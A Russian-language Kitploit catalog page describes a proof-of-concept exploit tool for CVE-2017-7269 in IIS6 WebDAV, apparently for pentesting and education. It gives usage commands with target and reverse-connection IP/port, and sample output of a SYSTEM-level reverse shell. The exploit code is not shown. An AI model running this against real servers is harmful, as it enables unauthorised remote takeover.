Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2017-7269 — является PoC-инструментом, демонстрирующим эксплойт для известной уязвимости в компоненте WebDAV IIS6 | Kitploit
Инструменты/GitHubGitHub/geniuszly/cve-2017-7269
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и Образование
GitHubgeniuszly/cve-2017-7269

CVE-2017-7269

является PoC-инструментом, демонстрирующим эксплойт для известной уязвимости в компоненте WebDAV IIS6

Репозиторий
421 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

GenWebDavIISExploit - это PoC-инструмент, демонстрирующий эксплуатацию известной уязвимости в компоненте WebDAV на IIS6. Этот инструмент создан в образовательных и исследовательских целях, чтобы показать, как уязвимость может быть использована для выполнения произвольного кода на удаленном сервере.

Отказ от ответственности

Этот проект предназначен только для образовательных целей. Используйте этот инструмент ответственно и только на системах, которые вы владеете или имеете явное разрешение для тестирования. Несанкционированный доступ к компьютерным системам является незаконным.

Особенности

  • Выполнение удаленного кода на уязвимых серверах IIS6 WebDAV.
  • Генерация динамического полезного кода с указанием IP и порта для обратного соединения.
  • Простой интерфейс командной строки для быстрого использования.

Требования

  • Python 3.x: Убедитесь, что у вас установлен Python 3.
  • Доступ к сети: Возможность подключаться к IP-адресу и порту целевой машины.

Использование

Аргументы командной строки

  • Target IP: IP-адрес целевого сервера IIS6 WebDAV.
  • Target Port: Номер порта, на котором работает служба WebDAV (обычно 80).
  • Reverse IP: Ваш IP-адрес, на который должно быть установлено обратное соединение.
  • Reverse Port: Номер порта на вашей системе для получения обратного соединения.

Пример

root@kitploit:~
python3 GenWebDavIISExploit.py <target_ip> <target_port> <reverse_ip> <reverse_port>

Пример использования

root@kitploit:~
python3 GenWebDavIISExploit.py 192.168.1.10 80 192.168.1.5 4444

Пример вывода

root@kitploit:~
$ python3 GenWebDavIISExploit.py 192.168.1.10 80 192.168.1.5 4444

[*] Подключение к цели 192.168.1.10 на порту 80...
[*] Отправка специально сформированного HTTP-запроса для эксплуатации уязвимости...
[*] Длина полезной нагрузки: 1744 байт
[*] Ожидание обратного соединения...

[+] Ответ от цели:
HTTP/1.1 200 OK
Content-Length: 123
Server: Microsoft-IIS/6.0

[+] Получено обратное соединение от 192.168.1.10:12345
[+] Удаленный доступ успешно установлен!

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32> ipconfig
Настройка IP Windows

   Адаптер Ethernet Local Area Connection:
      DNS-суффикс подключения . . . . . : example.local
      IPv4-адрес. . . . . . . . . . . . : 192.168.1.10
      Маска подсети . . . . . . . . . . : 255.255.255.0
      Основной шлюз . . . . . . . . . . : 192.168.1.1

Заметки

  • Убедитесь, что у вас запущен прослушиватель на указанном обратном порту для перехвата входящего обратного соединения.
  • Используйте этот инструмент только на авторизованных системах для проверки на наличие уязвимостей.
Скачать инструмент